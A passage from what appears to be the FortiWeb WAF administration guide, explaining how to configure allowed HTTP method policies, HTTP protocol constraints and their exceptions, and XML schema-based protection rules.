You can configure policies that allow only specific HTTP request methods. This can be useful for preventing attacks, such as those exploiting the HTTP method `TRACE`.

Some popular web applications such as Subversion, CalDAV, and WebDAV require custom or less common HTTP methods. While developing web applications, the HTTP method `TRACE` may be useful, but in production environments, it may disclose sensitive information to attackers. Many web applications only require `GET` and `POST`. Disabling all unused methods reduces the potential attack surface area for attackers. If you are unsure what HTTP methods are required by your web applications, you can use auto-learning to discover them. For details, see ["Auto-learning"](#) on page 202.



Generally, `TRACE` should only be used during debugging, and should be disabled otherwise.

To configure an HTTP request method policy

1. If you want to include method exceptions in a policy, create them first. For details, see ["Configuring allowed method exceptions"](#) on page 566.
2. Go to **Web Protection > Access > Allow Method** and select the **Allow Method Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.
4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Allow Request	Mark the check boxes for all HTTP request methods that you want to allow for this specific policy. Methods that you do not select will be denied, unless specifically allowed for a host and/or URL in the selected Allow Method Exceptions (page 566). The OTHERS option includes methods not specifically named in the other options. It often may be required by WebDAV (RFC 4918; http://tools.ietf.org/html/rfc4918) applications such as Microsoft Exchange Server 2003 and Subversion, which may require HTTP methods not commonly used by web browsers, such as <code>PROPFIND</code> and <code>BCOPY</code>. Note: If a WAF Auto Learning Profile is used in the server policy where the HTTP request method is applied (via the Web Protection Profile), you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the FortiWeb appliance will reset the connection, and therefore cannot learn about the session.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High

	The default value is High .
Trigger Policy	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "Viewing log messages" on page 706.
Allow Method Exceptions	Select an HTTP request method exception definition to apply to the policy. The method exceptions define specific HTTP request methods that are allowed by specific URLs and hosts. If you want to view the information associated with the HTTP request method exceptions used by this policy, select the Detail link beside the Allow Method Exceptions list. The Allow Method Exceptions dialog appears. Use the browser Back button to return. For details, see "Configuring allowed method exceptions" on page 566.

- Click **OK**.
- To apply the allowed method policy, select it in an inline or Offline Protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

See also

- ["IPv6 support"](#) on page 60

Configuring allowed method exceptions

You can configure exceptions to allowed HTTP method policies.

While most URL and host name combinations controlled by a profile may require similar HTTP request methods, you may have some that require different methods. Instead of forming separate policies and profiles for those requests, you can configure allowed method exceptions. The exceptions define specific HTTP request methods that are allowed by specific URLs and hosts.

To configure an allowed method exception

- Before you configure an allowed method exception, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group. For details, see ["Defining your protected/allowed HTTP "Host:" header names"](#) on page 388.
- Go to **Web Protection > Access > Allow Method** and select the **Allow Method Exceptions** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.
- Click **Create New**.
- In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
- Click **OK**.

6. Click **Create New** to add an entry to the set.

7. Configure these settings:

Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected host names entry in order to match the allowed method exception. Also configure Host (page 567).
Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the allowed method exception. This option is available only if Host Status (page 567) is enabled.
Type	Select whether URL Pattern (page 567) is a Simple String (that is, a literal URL) or a Regular Expression .
URL Pattern	Depending on your selection in Type (page 567), enter either: • The literal URL, such as <code>/index.php</code>, that is an exception to the generally allowed HTTP request methods. The URL must begin with a slash (<code>/</code>). • A regular expression, such as <code>^/*\.php</code>, matching all and only the URLs which are exceptions to the generally allowed HTTP request methods. The pattern does not require a slash (<code>/</code>); however, it must at match URLs that begin with a slash, such as <code>/index.cfm</code>. For example, if multiple URLs on a host have identical HTTP request method requirements, you would type a regular expression matching all of and only those URLs. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host (page 567) drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829.
Allow Method Exception	Mark the check boxes of all HTTP request methods that you want to allow. Methods that you do not select will be denied. The OTHERS option includes methods not specifically named in the other options. It often may be required by WebDAV (RFC 4918; http://tools.ietf.org/html/rfc4918) applications such as Microsoft Exchange Server 2003 and Subversion, which may require HTTP methods not commonly used by web browsers, such as <code>PROPFIND</code> and <code>BCOPY</code>. Note: If a WAF Auto Learning Profile will be selected in the policy with an Offline Protection profile that uses this allowed method exception, you must enable the HTTP request methods that will be

used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the FortiWeb appliance will reset the connection, and therefore cannot learn about the session.

8. Click **OK**.
9. Repeat the previous steps for each exception that you want to add to the allowed method exceptions.
10. To apply the allowed method exception, select it in an allowed method policy. For details, see ["Specifying allowed HTTP methods"](#) on page 564.

See also

- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270

HTTP/HTTPS protocol constraints

Protocol constraints govern features such as the HTTP header fields in the protocol itself, as well as the length of the HTML, XML, or other documents or encapsulated protocols carried in the HTTP body payload.

Use protocol constraints to prevent attacks such as buffer overflows. Buffer overflows can occur in web servers and applications that do not restrict elements of the HTTP protocol to acceptable lengths, or that mishandle malformed requests. Such errors can lead to security vulnerabilities.

You can also set HTTP protocol constraint exception rules. HTTP protocol constraint exceptions specify certain protocol constraints from specific hosts that will **not** be subject to response actions defined in a protocol constraint profile. For details, see ["Configuring HTTP protocol constraint exceptions"](#) on page 577.



Default HTTP protocol constraint values reflect the buffer size of your FortiWeb model's HTTP parser. **Use protocol constraints to block requests that are too large for the memory size of FortiWeb's scan buffers.**

Failure to block items that are too large to be buffered could compromise your network's security, and allow requests **without** scanning or rewriting. For details, see ["Buffer hardening"](#) on page 744.

For example, if your web applications require HTTP `POST` requests with unusually large parameters, you would adjust the HTTP body buffer size. For details, see `http-cachesize` in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Next, you would configure [Malformed Request](#) and other HTTP protocol constraints to harden your configuration.

This scan is bypassed if the client's source IP is a known search engine and you have enabled [Allow Known Search Engines](#) (page 268).

To configure an HTTP protocol constraint profile

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permissions for items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.



If you plan to add constraint exceptions to your HTTP protocol constraints, configure the exceptions first. For details, see ["Configuring HTTP protocol constraint exceptions"](#) on page 577.

If you want to use a trigger when the rule is violated, configure that also. For details, see ["Viewing log messages"](#) on page 706.

1. Go to **Web Protection > Protocol** and select the **HTTP Protocol Constraints** tab.
2. Click **Create New**.
3. To enable protocol constraints that you want the profile to monitor, toggle them in the **Status** column. For a brief description of a protocol constraint, click its name. Configure these settings:

Content Length

Content Length

Specifies the maximum acceptable length in bytes of the request body. Length is determined by comparing this limit with the value of the `Content-Length`: field in the HTTP header.

Attack log messages contain `Content Length Exceeded` when this feature detects a content length buffer overflow attempt.

Tip: RPC requests' content length often do not match their own `Content-Length`: header. Attackers may also intentionally craft mismatching `Content-Length`: headers in an attempt to cloak buffer overflows. For those cases, use other limits instead or in addition, such as [Body Length](#) (page 574) and ["Limiting file uploads"](#) on page 590.

Illegal Content Length

Enable to check whether the `Content-Length`: header includes numeric characters only.

HTTP Header

Header Length

Specifies the maximum acceptable size in bytes of all HTTP header lines.

Attack log messages contain `Total Size of All Headers Too Large` when this feature detects a header size buffer overflow attempt.

Header Name Length

Specifies the maximum acceptable size in bytes of a single HTTP header name (for example, `Host:`, `Content-Type:`, `User-Agent:`).

The default is 50 bytes.

Header Value Length	Specifies the maximum acceptable size in bytes of a single HTTP header value. The default is 4096 bytes.
Illegal Character in Header Name	Enable to check whether the HTTP header name contains illegal characters.
Illegal Character in Header Value	Enable to check whether the HTTP header value contains illegal characters.
Redundant HTTP Headers	Enable to check whether a HTTP request contains multiple instances of <code>Content-Length</code> (only for HTTP/1.x), <code>Content-Type</code> (for both HTTP/1.x and HTTP/2) and <code>Host</code> (for both HTTP/1.x and HTTP/2) header fields. These header fields are required to appear only once in a request by the RFC. Redundant HTTP headers are most probably involved in possible attacks.
HTTP Parameter	
Total URL Parameters Length	Specifies the total maximum acceptable length in bytes of all parameters, including their names and values, in the URL. Parameters usually appear after a <code>?</code>, such as: <code>/url?parameter1=value1&parameter2=value2</code> The count does not include: • Question mark (<code>?</code>), ampersand (<code>&</code>), and equal (<code>=</code>) characters are not included. • Parameters in the HTTP body, which can occur with HTTP <code>POST</code> requests. For these parameters, configure Total Body Parameters Length or Body Length instead. Attack log messages contain <code>Total URL Parameters Length Exceeded</code> when this feature detects a URL parameter line length buffer overflow attempt.
Total Body Parameters Length	Specifies the total maximum acceptable size in bytes of all the parameters in the HTTP body of HTTP <code>POST</code> requests. Question mark (<code>?</code>), ampersand (<code>&</code>), and equal (<code>=</code>) characters are not included. Attack log messages contain <code>Total Body Parameters Length Exceeded</code> when this feature detects a total parameter size buffer overflow attempt.
Number of URL Parameters	Specifies the maximum number of parameters in the URL. The maximum number is 1024. It does not include parameters in the HTTP body, which can occur

	with HTTP <code>POST</code> requests. Attack log messages contain <code>Too Many Parameters in Request</code> when this feature detects a URL parameter count buffer overflow attempt. The default is 128.
NULL Character in Parameter Name	Enable to check for null characters in parameter names.
NULL Character in Parameter Value	Enable to check for null characters in parameter values.
Maximum URL Parameter Name Length	Specifies the maximum acceptable length in bytes of each URL parameter name in a request. Enable to check whether a parameter name exceeds the limitation (the default is 4096). For example, <code>user</code> in the request <code>GET /index.php?user=test&sid=1234</code> is an illegal parameter name if you set the limitation as 3.
Maximum URL Parameter Value Length	Specifies the maximum acceptable length in bytes of each URL parameter value in a request. Enable to check whether a parameter value exceeds the limitation (the default is 4096). For example, <code>1234</code> in the request <code>GET /index.php?user=test&sid=1234</code> is an illegal parameter value if you set the limitation as 3.
Illegal Character in Parameter Name	Enable to check whether a URL parameter name contains the characters that are not allowed by the RFC. These illegal characters are usually non-printable ASCII characters or other special characters.
Illegal Character in Parameter Value	Enable to check whether a URL parameter value contains the characters that are not allowed by the RFC. These illegal characters are usually non-printable ASCII characters or other special characters.
Duplicate Parameter Name	Enable to check whether a duplicate parameter name is in the header or body parameters. This protocol constraint will be triggered if: • There are duplicate parameter names in the header • There are duplicate parameter names in the body • A parameter name in the header is also in the body
HTTP Request	
Illegal HTTP Request Method	Enable to check for invalid HTTP request methods according to

	RFC 2616 (http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html) or RFC 4918 (http://www.webdav.org/specs/rfc4918.html). Any method not defined in these RFCs—including misspellings like <code>GETT</code> as well as other HTTP extension methods (e.g. CalDAV) like <code>MKCALENDAR</code>—are considered invalid. Attack log messages contain <code>Illegal HTTP Method</code> when this feature detects an invalid HTTP request method.
HTTP Request Filename Length	Specifies the maximum acceptable length in bytes of the HTTP request filename.
HTTP Request Length	Specifies the maximum acceptable length in bytes of the entire HTTP request, including both headers and body. Attack log messages contain <code>HTTP Request Length Exceeded</code> when this feature detects an excessively large HTTP request.
Number of Header Lines in Request	Specifies the maximum acceptable number of lines in the HTTP header. Attack log messages contain <code>Too Many Headers</code> when this feature detects a header line count buffer overflow attempt.
Missing Content Type	Enable to check whether the <code>Content-Type:</code> header is available.
Null Character in URL	Enable to check whether the URL (or path for HTTP/2) in a request contains null characters (such as <code>\0</code> or <code>%00</code>). This feature checks the part between the host prefix and parameters in the URL (if they exist), for example, the <code>/index.php</code> in <code>GET http://www.server.com/index.php?name=value HTTP 1.1</code>. Attackers might embed NULL characters in URL to evade detections.
Illegal Character in URL	Enable to check whether the URL (or path for HTTP/2) in a request contains characters that are not allowed by the RFC. These illegal characters are usually non-printable ASCII characters or other special characters (such as ASCII 0 - 31 and ASCII 127). This feature checks the part between the host prefix and parameters in the URL (if they exist), for example, the <code>/index.php</code> in <code>GET http://www.server.com/index.php?name=value HTTP 1.1</code>.
Malformed URL	Enable to check whether the URL (or path for HTTP/2) in a request conform the spec by beginning with a slash ("/") character or a slash character follows the protocol prefix and host prefix in the URL (e.g. <code>http://myserver.com/default.asp</code>). If the slash characters are missing, it is typically a malicious access to other protocols (e.g.

SMTP) using the back-end web servers.	
HTTP2 Frame	
Header Compression Table Size	Specifies the maximum acceptable size in bytes of the header compression table used to decode header blocks. Enable to check whether value of parameter <code>SETTINGS_HEADER_TABLE_SIZE</code> in a HTTP/2 SETTINGS frame exceeds the limitation and react correspondingly. The default is 65535. This field applies to HTTP/2 only.
Number of Concurrent Streams	Specifies the maximum acceptable number of concurrent streams that the sender will allow the receiver to create. Enable to check whether value of parameter <code>SETTINGS_MAX_CONCURRENT_STREAMS</code> in a HTTP/2 SETTINGS frame exceeds the limitation and react correspondingly. The default is 1000.
Initial Window Size	Specifies the maximum acceptable sender's initial window size in bytes for stream-level flow control. Enable to check whether value of parameter <code>SETTINGS_INITIAL_WINDOW_SIZE</code> in a HTTP/2 SETTINGS frame exceeds the limitation and react correspondingly. Default is 6291456.
Frame Size	Specifies the maximum acceptable size in bytes of the frame payload that the sender is willing to receive. Enable to check whether value of parameter <code>SETTINGS_MAX_FRAME_SIZE</code> in a HTTP/2 SETTINGS frame exceeds the limitation and react correspondingly. Default is 16384.
Header List Size	Specifies the maximum acceptable size in bytes of the header list that the sender is prepared to accept. Enable to check whether value of parameter <code>SETTINGS_MAX_HEADER_LIST_SIZE</code> in a HTTP/2 SETTINGS frame exceeds the limitation and react correspondingly. Default is 65536.
Others	
Illegal Content Type	Enable to check whether the Content Type : value uses the format <code><type>/<subtype></code> .
Illegal Response Code	Enable to check whether the HTTP response code is a 3-digit number.

Illegal Host Name	Enable to check for illegal characters in the <code>Host :</code> line of the HTTP header, such as null characters or encoded characters. For example, <code>0x0</code> or <code>%00*</code> are illegal. Attack log messages contain <code>Illegal Host Name</code> when this feature detects an invalid host name.
Illegal HTTP Version	Enable to check for invalid HTTP version numbers. Currently, the only valid version strings are <code>HTTP/0.9</code>, <code>HTTP/1.0</code> or <code>HTTP/1.1</code>. Attack log messages contain <code>Illegal HTTP Version</code> when this feature detects an invalid HTTP version number.
Body Length	Specifies the maximum acceptable size in bytes of the HTTP body. For requests that use the HTTP <code>POST</code> method, this typically includes parameters submitted by HTML form inputs. In the case of file uploads, this can normally be many megabytes. For most simple forms, however, the body should be only a few kilobytes in size at maximum. Attack log messages contain <code>Body Length Exceeded</code> when this feature detects a body size buffer overflow attempt.
Number of Cookies In Request	Specifies the maximum acceptable number of cookies in an HTTP request. Attack log messages contain <code>Too Many Cookies in Request</code> when this feature detects a cookie count buffer overflow attempt.
Number of Ranges in Range Header	Specifies the maximum acceptable number of <code>Range :</code> lines in each HTTP header. The default value is 5. Attack log messages contain <code>Too Many Range Headers</code> when this feature detects too many <code>Range :</code> header lines. Tip: Some versions of Apache are vulnerable to a denial of service (DoS) attack on this header, where a malicious client floods the server with many <code>Range :</code> headers. The default value is appropriate for un-patched versions of Apache 2.0 and Apache 2.1.
Malformed Request	Enable to inspect the request for: • Syntax errors • Exceeding the maximum buffer size allowed by FortiWeb's HTTP parser Errors and buffer overflows can cause problems in web servers that do not handle them gracefully. Such problems can lead to security vulnerabilities.

Attack log messages contain `Too Many Parameters` or `Too Many Flash Parameters` or another message that indicates the specific cause when this feature detects a request with parser errors or a FortiWeb buffer overflow attempt.

Caution: Fortinet strongly recommends to enable this option **unless** large requests/parameters are required by the web application. If part of a request is too large for its scan buffer, FortiWeb cannot scan it for attacks. It also cannot perform rewrites. **Unless you configure it to block, FortiWeb allows oversized requests to pass through without scanning or rewriting.** This could allow padded attacks to pass through, and rewriting to be skipped.

If feasible, instead of disabling this option:

- Enlarge the scan buffer for each parameter. For details, see `http-cachesize` in the FortiWeb CLI Reference (<http://docs.fortinet.com/fortiweb/reference>). Requests larger than the buffer will be flagged as potentially malformed by FortiWeb's parser, causing FortiWeb to block normal requests (i.e., false positives). For more buffer specifications, see "Buffer hardening" on page 744.
- Disable this setting only for URLs that require oversized parameters. For details, see "Configuring HTTP protocol constraint exceptions" on page 577.

WebSocket Protocol	Enable to detect traffic that uses the WebSocket TCP-based protocol. Because FortiWeb acts as a pure socket proxy for WebSocket traffic, it cannot apply security features to it.
Illegal Connection Preface	Enable to check whether a client connection preface start with the string <code>PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n</code>.
Illegal Frame Type	Enable to check whether a HTTP2 request contains frame types that are not defined in RFC 7540 (https://tools.ietf.org/html/rfc7540). Any undefined frame type will be treated as illegality.
Illegal Frame Flags	Enable to check whether a HTTP2 request contains frame flags that are not defined in RFC 7540 (https://tools.ietf.org/html/rfc7540). Any undefined frame flag will be treated as illegality.
Illegal Chunk Size	Enable to check whether the value of Chunk Size field is a hexadecimal value. A violation will be detected if the value is presented in other numeral systems.

4. To edit a protocol constraint, right-click it and select **Edit**. Complete the configuration according to the table below:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Exception Name	Select the HTTP constraints exception, if any, that you want to apply to this policy. For details, see "Configuring HTTP protocol constraint exceptions" on page 577. If you want to view or change the exception configuration, click Detail.
Status	Specify whether the rule applies when you apply this constraint to a profile.
Length	For rules that specify maximums, enter a maximum value.
Action	Select the action the FortiWeb appliance takes when it detects a violation of the rule: • Alert—Accept the connection and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 577). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. For details, see "Defining your proxies, clients, & X-headers" on page 421. The default value is Alert. Caution: This setting is ignored when Monitor Mode (page 288) is enabled. Note: Logging and/or alert email occur only if you enable and configure it. For details, see "Logging" on page 690 and "Alert email" on page 712. Note: To use this rule set with auto-learning, select Alert. If Action (page 576) is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption causes incomplete session information for auto-learning.

Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action (page 576) is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 60. See also "Monitoring currently blocked IPs" on page 735.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level to use when FortiWeb logs a violation of the rule: • Low • Medium • High
Threat Weight	If Device Tracking is enabled in a web protection profile and a selected device reputation security policy uses HTTP Protocol Constraints, it is possible to adjust the threat weight of each constraint. For details, see "Blocking client devices with poor reputation" on page 493.
Trigger Action	Select which trigger, if any, to use when FortiWeb logs and/or sends an alert email about a violation of the rule. For details, see "Viewing log messages" on page 706.
HTTP Protocol Support	HTTP/1.X Only indicates the constraint is effective against HTTP/1.x traffic only. HTTP/2 Only indicates the constraint is effective against HTTP/2 traffic only. This field will be blank if the constraint is effective against both HTTP/1.x and HTTP/2 traffic.

5. To save the profile configuration, click **OK**.
6. To apply the HTTP protocol constraint profile, select it in an inline or Offline Protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

See also

- ["Sequence of scans"](#) on page 56
- ["IPv6 support"](#) on page 60

Configuring HTTP protocol constraint exceptions

You can configure exceptions for HTTP protocol constraints.

HTTP protocol constraint exceptions specify certain protocol constraints from specific hosts that will **not** be subject to response actions defined in a protocol constraint profile. Exception rules are useful when you know that some HTTP protocol constraints will cause false positives by matching an attack signature during normal use.

For example, if you enable an exception for the [Header Length](#) protocol constraint in an exception rule for a specific host, FortiWeb will skip the HTTP header length check when executing the web protection profile for that host.

As another example, some web applications require very large HTTP `POST` requests. You can use [Malformed Request](#) to create an exception for the protocol constraint for those requests.

To configure an HTTP constraint exception

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

1. Go to **Web Protection > Protocol** and select the **HTTP Constraints Exceptions** tab.
2. Click **Create New**.
3. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. Click **OK**.
5. Click **Create New** to add an entry to the set.
6. Configure the exception rule according to the table below:

Host Status	Enable to apply this HTTP constraint exception only to HTTP requests for specific web hosts. Also configure Host (page 578). Disable to apply the exceptions to all web hosts.
Host	Select the IP address or fully qualified domain name (FQDN) of the protected host to which this exception applies. This setting is available only if Host Status (page 578) is enabled.
Source IP	Enable to check requests for matching the HTTP constraint exceptions rule by their source IP addresses.
IPv4/IPv6/IP Range	Specify the source IP of the protected requests to which this exception applies. Only a single IPv4 or IPv6 address, or a IPv4/IPv6 range is acceptable. This setting is available only if Host Status (page 578) is enabled.
Request Type	Select whether the URL Pattern (page 578) field will contain a literal URL (Simple String), or a regular expression designed to match multiple URLs (Regular Expression).
URL Pattern	Depending on your selection in the Request Type field, enter either: • the literal URL, such as <code>/index.php</code>, that the HTTP request must

contain in order to match the input rule. The URL must begin with a backslash (/).

- a regular expression, such as `^/*\.php`, matching all and only the URLs to which the input rule should apply. The pattern does not require a slash (/); however, it must at match URLs that begin with a slash, such as `/index.cfm`.

Do not include the domain name, such as `www.example.com`, which is configured separately in the **Host** drop-down list.

To create and test a regular expression, click the **>>** (test) icon. This opens the **Regular Expression Validator** window where you can fine-tune the expression. For details, see "[Regular expression syntax](#)" on page 829.

7. Select the protocol constraint(s) that you want to add to the exception rule according to the table below:

Content Length	
Content Length	Enable to omit the constraint on the maximum acceptable size in bytes of the request body.
Illegal Content Length	Enable to omit the constraint on whether the <code>Content-Length:</code> header includes numeric characters only.
HTTP Header	
Header Length	Enable to omit the constraint on the maximum acceptable size in bytes of the HTTP header.
Header Name Length	Enable to omit the constraint on the maximum acceptable size in bytes of a single HTTP header name.
Header Value Length	Enable to omit the constraint on the maximum acceptable size in bytes of a single HTTP header value.
Illegal Character in Header Name	Enable to omit the constraint on whether the HTTP header name contains illegal characters.
Illegal Character in Header Value	Enable to omit the constraint on whether the HTTP header value contains illegal characters.
Redundant HTTP Headers	Enable to omit the constraint on the redundant instances of <code>Content-Length</code> , <code>Content-Type</code> and <code>Host</code> header fields.
HTTP Parameter	
Total URL Parameter Length	Enable to omit the constraint on the maximum acceptable size of an URL parameter (including the name and value).

Total Body Parameters Length	Enable to omit the constraint on the maximum acceptable size in bytes of all parameters in the HTTP body of HTTP <code>POST</code> requests.
Number of URL Parameters	Enable to omit the constraint on the maximum number of parameters in the URL.
NULL Character in Parameter Name	Enable to omit the constraint on null characters in parameter names.
NULL Character in Parameter Value	Enable to omit the constraint on null characters in parameter values.
Maximum URL Parameter Name Length	Enable to omit the constraint on the maximum acceptable length in bytes of the parameter name.
Maximum URL Parameter Value Length	Enable to omit the constraint on the maximum acceptable length in bytes of the parameter value.
Illegal Character in Parameter Name	Enable to omit the constraint on illegal characters in the parameter name.
Illegal Character in Parameter Value	Enable to omit the constraint on illegal characters in the parameter value.
Duplicate Parameter Name	Enable to omit the constraint on duplicate parameter names.
HTTP Request	
Illegal HTTP Request Method	Enable to omit the constraint on to check for invalid HTTP version numbers.
HTTP Request Filename Length	Enable to omit the constraint on the maximum acceptable length in bytes of the HTTP request filename.
HTTP Request Length	Enable to omit the constraint on the maximum acceptable length in bytes of the HTTP request.
Number of Header Lines In Request	Enable to omit the constraint on the maximum acceptable number of lines in the HTTP header.
Post Request -- Missing Content Type	Enable to omit the constraint on whether the <code>Content-Type</code> header is available.
Others	
Illegal Content Type	Enable to omit the constraint on whether the Content Type: value uses the format <code><type>/<subtype></code> .

Illegal Response Code	Enable to omit the constraint on whether the HTTP response code is a 3-digit number.
Illegal Host Name	Enable to omit the constraint on invalid characters in the <code>Host :</code> line of the HTTP header, such as null characters or encoded characters.
Body Length	Enable to omit the constraint on the maximum acceptable size in bytes of the HTTP body.
Number of Cookies In Request	Enable to omit the constraint on the maximum acceptable number of cookies in an HTTP request.
Number of Ranges in Range Header	Enable to omit the constraint on the maximum acceptable number of <code>Range :</code> lines in an HTTP header. Note: Some versions of Apache are vulnerable to a denial of service (DoS) attack on this header, where a malicious client floods the server with many <code>Range :</code> headers. If your web servers do not run Apache and are not vulnerable to this attack, mark this check box to omit it from the scan and improve performance.
Malformed Request	Enable to omit the constraint on syntax and FortiWeb parsing errors. Caution: Some web applications require abnormal or very large HTTP <code>POST</code> requests. Since allowing such errors and excesses is generally bad practice and can lead to vulnerabilities, use this option to omit the malformed request scan only if absolutely necessary.

8. Click **OK**.

9. Repeat the previous steps for each exception rule you want to add to the exception.

10. Select the HTTP protocol constraint exception(s) in an HTTP protocol constraint profile. For details, see ["To configure an HTTP protocol constraint profile"](#) on page 569.

See also

- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270

Configuring XML protection

XML is commonly used for data exchange, and hackers sometimes try to exploit security holes in XML code to attack web servers. You can configure FortiWeb to examine client requests for anomalies in XML code. FortiWeb can also attempt to validate the structure of XML code in client requests using trusted XML schema files. Configuring XML protection can help to ensure that the content of requests containing XML does not contain any potential attacks.

XML protection is available in Reverse Proxy, Offline Protection, True Transparent Proxy, Transparent Inspection, and WCCP operating modes.

This section consists of instructions for the following steps:

- Importing XML schema files. For details, see ["Importing XML schema files"](#) on page 582.
- Creating XML protection rules. For details, see ["Creating XML protection rules"](#) on page 583.
- Creating XML protection policies. For details, see ["Creating XML protection policies"](#) on page 587.
- Selecting an XML protection policy in a web protection profile. For details, see ["To select an XML protection policy in a web protection profile"](#) on page 588.
- Configuring attack logs to retain packet payloads for XML protection. For details, see ["Configuring attack logs to retain packet payloads for XML protection"](#) on page 588.

To configure XML protection, you must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

Importing XML schema files

XML schema files specify the acceptable structure of and elements in an XML document. When you use XML schema files to check XML content in HTTP requests, FortiWeb can determine acceptable content and validate that the content is well-formed.

To configure FortiWeb to enforce XML schema files, create an XML protection rule and select an XML schema file for that rule. You can select only one XML schema file for each XML protection rule, but you can configure FortiWeb to enforce multiple rules in XML protection policies.

This section provides instructions to:

- Import an XML schema file
- Select an XML schema file in an XML protection rule



The acceptable file extension for XML schema files is `.xsd`.

To import an XML schema file

1. Go to **Web Protection > XML Protection**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Select the **XML Schema** tab.
3. Click **Create New**.
4. For **Upload File**, click **Choose File**.
5. Select an acceptable XML schema file.

Note: If you upload an XML schema file that references other XML schema files, the other XML schema files must also be uploaded to FortiWeb.

6. Click **OK**.



FortiWeb uses the XML schema file name to reference the file in other parts of the configuration. For example, if you upload an XML schema file named `attr0_0.xsd`, select that XML schema file in a protection rule with the name `attr0_0.xsd` in the list of available XML schema files.

To select an XML schema file in an XML protection rule

For details about creating a XML protection rule, see "[Creating XML protection rules](#)" on page 583.

1. Go to **Web Protection > XML Protection**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Select the **XML Protection Rule** tab.
3. Select an existing XML protection rule to which you want to add the XML schema file.
4. For **Schema Validation**, select the XML schema file from the drop down menu.
5. Click **OK**.

Creating XML protection rules

XML protection rules define and enforce acceptable XML content, including:

- Limits for names, values, depth, and other attributes
- Preventing forbidden XML entities from making requests

FortiWeb responds to rule violations of XML protection rules according to the response action specified in a rule that a request has violated. Multiple XML protection rules can be organized into policies that FortiWeb enforces. You can create up to 256 rules per policy.

This section provides instructions to:

- Create an XML protection rule
- Add an XML protection rule to an XML protection policy

To create an XML protection rule

1. Go to **XML Protection > XML Protection Rule**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Enter a name that can be referenced by other parts of the configuration. You will use the name to select the rule in an XML protection policy. The maximum length is 63 characters.
Host status	Enable to compare the XML rule to the <code>Host :</code> field in the HTTP header. If enabled, also configure Host (page 584).
Host	Select the IP address or FQDN of a protected host. For details, see " Defining your protected/allowed HTTP "Host:" header names " on page 388.
Request URL type	Select whether the Request URL (page 584) field must contain either: • Simple String—The field is a string that the request URL must match exactly. • Regular Expression—The field is a regular expression that defines a set of matching URLs.
